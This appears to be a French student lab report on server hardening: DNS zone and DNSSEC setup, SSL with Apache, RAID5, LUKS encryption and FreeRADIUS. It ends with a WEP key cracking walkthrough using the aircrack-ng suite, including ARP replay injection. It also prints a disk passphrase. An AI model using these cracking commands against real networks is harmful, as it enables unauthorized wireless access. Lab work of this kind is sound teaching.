Dans un second temps, nous créons la table de DNS ou le fichier de zone : dns.papaye.space, en voici le contenu :
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA dns.papaye.space. root.papaye.space ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; IN NS dns.papaye.space. ns IN A 193.48.57.178 www IN A 193.48.57.178
Ensuite, nous configurons le fichier named.conf.local :
zone "papaye.space" { type master; file "/etc/bind/dns.papaye.space"; };
Ainsi que le fichier named.conf.options (217.70.177.40/32 étant l'adresse IP de Gandi, notre DNS esclave :
options { directory "var/cache/bind" dnssec-validation auto; auth-nxdomain no; allow-transfer {"allowed_to_transfer";} listen-on-v6 {any;} } acl "allowed_to_transfer" { 217.70.177.40/32; }
Enfin, nous redémarrons notre service bind9 :
service bind9 restart
Les configurations depuis notre machine virtuelle sont terminées mais nous avons dû également effectuer un réglage depuis Gandi afin de renseigner nos DNS. Pour les "glues records",
'Nom du serveur' : dns.papaye.space 'IP' : 193.48.57.178
Pour les DNS,
'DNS1' : dns.papaye.space 'DNS2' : ns6.gandi.net
Sécurisation du site web via un certificat
L'objectif de cette partie est d'obtenir un certificat pour notre site web. Le certificat SSL généré par Gandi s'obtient de la manière suivante :
openssl req -nodes -newkey rsa:2048 -sha1 -keyout papaye.space.key -out papaye.space.csr
Afin de valider notre certificat par Gandi, nous avons dû ajouter une ligne de code à notre fiche de zone (dns.papaye.space), qui était donné par le site.
Une fois le certificat validé par Gandi, un petit cadenas noir est visualisable à côté de notre nom de domaine. De plus, nous pouvons recopier les fichiers de certification générés par Gandi dans le dossier SSL.
cp certificat.crt /etc/ssl/certs/papaye.space.crt cp serveur.key /etc/ssl/private/papaye.space.key cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem
Nous faisons un hashage de notre structure afin que notre certificat soit prend en compte :
c_rehash /etc/ssl/certs
Puis, nous créons le fichier 000-papaye.space-ssl.conf dans /etc/apache2/sites-available/ pour associer apache2 à notre nom de serveur :
#NameVirtualHost *:443 <VirtualHost 193.48.57.178:443> ServerName www.papaye.space ServerAlias papaye.space DocumentRoot /var/www/www.papaye.space/ CustomLog /var/log/apache2/secure_acces.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/papaye.space.crt SSLCertificateKeyFile /etc/ssl/private/papaye.space.key SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem SSLVerifyClient None </VirtualHost> <Directory /var/www/www.papaye.space> Require all granted </Directory> ServerName "papaye.space"
Ensuite, nous modifions le fichier ports.conf du serveur Apache afin qu'il écoute le port 443 (SSL):
Listen 80 443 <IfModule ssl_module> Listen 443 </IfModule>
Enfin, nous activons le module SSL d'Apache et activons notre site avec notre certificat :
a2enmod ssl a2ensite 000-papaye.space-ssl.conf service apache2 reload
Sécurisation du DNS via un DNSSEC
Dans un premier temps, nous devons activer le DNSSEC en ajoutant l'option dans le fichier /etc/bind/named.conf.options :
dnssec-enable yes;
Ensuite, nous créons le répertoire dans lequel nous allons créer nos clef :
mkdir papaye.space.dnssec cd papaye.space.dnssec
Dans un second temps, nous générons nos clefs KSK et ZSK de la manière suivante :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE papaye.space dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE papaye.space
Nous devons inclure ces clefs dans notre fichier de zone (dns.papaye.space) (la 14842 étant la ksk et l'autre la zsk):
$include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+14842.key $include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+62520.key
Enfin, nous signons la zone :
dnssec-signzone -o papaye.space-k Kpapaye.space.+005+14842 ../dns.papaye.space Kpapaye.space.+005+62520
Pour finir, nous saisissons dans Gandi la clé publique de la KSK et de la ZSK en allant dans l'onglet "générer DNSSEC". Nous vérifions la sécurisation grâce à la commande :
dig DNSKEY papaye.space @localhost
Nous remarquons bien la présence de DNSKEY qui nous certifie la sécurisation de notre DNS.
Sécurisation et cryptage des données
Sécurisation via RAID5
Depuis cordouan, nous créons 3 disque disques virtuels avec lvcreate :
lvcreate -L 1G -n /dev/virtual/papaye-raid1 lvcreate -L 1G -n /dev/virtual/papaye-raid2 lvcreate -L 1G -n /dev/virtual/papaye-raid3
Nous rajoutons ces disques à la configuration de notre machine virtuelle. Toujours depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons :
'phy:/dev/virtual/papaye-raid1,xvdd1, w', 'phy:/dev/virtual/papaye-raid2,xvdd2, w', 'phy:/dev/virtual/papaye-raid3,xvdd3, w',
Depuis notre machine virtuelle cette fois, nous installons mdadm :
apt-get install mdadm
Nous créons le disque RAID5 md0 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3
Nous installons le système de fichier ext4 dessus :
mkfs -t ext4 /dev/md0
Nous sauvegardons le tout et montons le disque :
mdadm --detail --scan >> /etc/mdadm/mdadm.conf mount /dev/md0 /mnt
Enfin nous effectuons un petit test afin de noter la reconstruction de notre disque. Nous supprimons une des partitions et observons qu'il est bien manquant dans la configuration :
mdadm --set-faulty /dev/md0 /dev/xvdd2 mdadm --remove /dev/md0 /dev/xvdd2 cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdd1[0] xvdd3[2] 2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
Nous montons le disque à nouveau et pouvons noter la reconstruction du disque :
mount /dev/md0 /mnt
root@Papaye:/mnt# ls lost+found test.txt
Nous remettons la partition : mdadm --add /dev/md0 /dev/xvdd2
Et on observe la reconstruction grâce à cat /proc/mdstat.
Cryptage des données
Dans cette partie, nous allons voir comment crypter des données sur un disque virtuel. De la même manière que pour la partie précédente, nous créons un disque virtuel via la commande :
lvcreate -L 1G -n /dev/virtual/papaye-cryptage
Nous rajoutons ce disque à la configuration de notre machine virtuelle. Depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons :
'phy:/dev/virtual/papaye-cryptage,xvdd4, w',
Nous configurons le disque en type Luks :
cryptsetup luksFormat /dev/xvdd4
La phrase secrète est : pasglop, glopglop ou michel.
Nous pouvons vérifier les informations via cette commande :
cryptsetup luksDump /dev/xvdd4
Ainsi, nous obtenons les informations suivantes :
LUKS header information for /dev/xvdd4 Version: 1 Cipher name: aes Cipher mode: xts-plain64 Hash spec: sha256 Payload offset: 4096 MK bits: 256 MK digest: 25 40 d5 6d b9 ff c0 d3 d8 cd fb e8 80 41 eb a8 f3 13 58 30 MK salt: a1 9e 1a 6d 40 59 46 86 14 9e 2a de 66 86 6b e0 39 79 44 db ac 5f 01 a2 cb 9f b8 46 40 4c 3c 53 MK iterations: 242250 UUID: 2e9af817-8eb1-4478-a095-048645e8983d Key Slot 0: ENABLED Iterations: 1924810 Salt: f6 28 22 be 14 d9 78 3e 83 d2 f7 cb af bf 1f 52 88 8f bf bf 83 e2 28 65 1d f1 d3 fe 16 6c b8 e0 Key material offset: 8 AF stripes: 4000 Key Slot 1: DISABLED Key Slot 2: DISABLED Key Slot 3: DISABLED Key Slot 4: DISABLED Key Slot 5: DISABLED Key Slot 6: DISABLED Key Slot 7: DISABLED
Nous ouvrons notre partition cryptée avec :
cryptsetup luksOpen /dev/xvdd4
Puis, nous saisissons la phrase secrète.
Nous ajoutons des fichiers :
mkfs.ext3 /dev/mapper/kadoc
Ensuite, nous créons un dossier contenant un fichier contenant une simple phrase. Pour écrire dedans il faut monter notre partition. Montage :
mount -t ext3 /dev/mapper/kadoc /mnt/
Démontage :
umount /mnt/
Nous encryptons à nouveau la partition avec la commande suivante :
cryptsetup luksClose kadoc
Enfin, nous vérifions avec GParted que notre partition n'est plus accessible sans mot de passe :
gparted /dev/xvdd4
La commande nous renvoie :
root@IMA5-Papaye:/# gparted /dev/xvdd4 Created symlink /run/systemd/system/-.mount -> /dev/null. Created symlink /run/systemd/system/home.mount -> /dev/null. Created symlink /run/systemd/system/tmp.mount -> /dev/null. Created symlink /run/systemd/system/var.mount -> /dev/null. [ 1051.732565] systemd[1]: apt-daily.timer: Adding 2h 21min 20.971598s random time. [ 1051.733189] systemd[1]: apt-daily-upgrade.timer: Adding 46min 37.363850s random time. (gpartedbin:3635): Gtk-WARNING **: cannot open display: Removed /run/systemd/system/-.mount. Removed /run/systemd/system/home.mount. Removed /run/systemd/system/tmp.mount. Removed /run/systemd/system/var.mount. [ 1051.853426] systemd[1]: apt-daily.timer: Adding 6h 49min 20.775084s random time. [ 1051.854034] systemd[1]: apt-daily-upgrade.timer: Adding 47min 6.121251s random time. root@IMA
Configuration des bornes Wifi
Création du serveur FreeRadius
Dans un premier temps, il est nécessaire d'implémenter un serveur d'identification FreeRADIUS sur notre machine virtuelle.
Pour cela, il faut installer FreeRADIUS :
apt-get install freeradius
Ensuite, nous ajoutons un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi :
nom_de_l_utilisateur Cleartext-password := "mot_de_passe"
Nous ajoutons aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf. Pour le moment, nous avons réalisé des tests avec un seul client :
client E304 { ipaddr = 10.10.0.10 secret = mot_de_passe }
Pour redémarrer FreeRADIUS, nous effectuons :
service freeradius restart
Craquage de clé WEP
Pour ce faire, nous avons besoin de deux postes. Sur le premier, il est nécessaire de générer un traffic sur le réseau afin de capturer les paquets ARP sur l'autre ordinateur. Nous le faisons à l'aide de la commande nping de la manière suivante :
nping --arp-type ARP -c 11000 --flags rst --ttl 2 10.2.0.2
Nous mettons le mode moniteur sur la clé wifi. Il nous faut pour cela le nom de notre clé wifi (wlx40a5ef0125e9), obtenu grâce à la commande iwconfig :
airmon-ng start wlx40a5ef0125e9
Ensuite, nous avons besoin de connaitre le BSSID, channel (CH) et ESSID. Pour cela, nous réalisons :
airodump-ng wlx40a5ef0125e9
Maintenant, sur le deuxième poste, nous capturons les trames circulant sur le réseau :
airodump-ng --bssid C4:14:3C:40:78:65 -c 3 -w crack_wep wlx40a5ef0125e9
Pour accélérer le craquage, nous allons générer d'avantage de traffique sur le réseau :
aireplay-ng -3 -b C4:14:3C:40:78:65 -h 00:0F:B5:92:22:68 wlx40a5ef0125e9 (00:0F:B5:92:22:68 étant l'adresse MAC de l'ordinateur secondaire)
Voici le résultat :
Il suffit maintenant de craquer la data capturée dans le fichier.cap :
aircrack-ng crack_wep-02.cap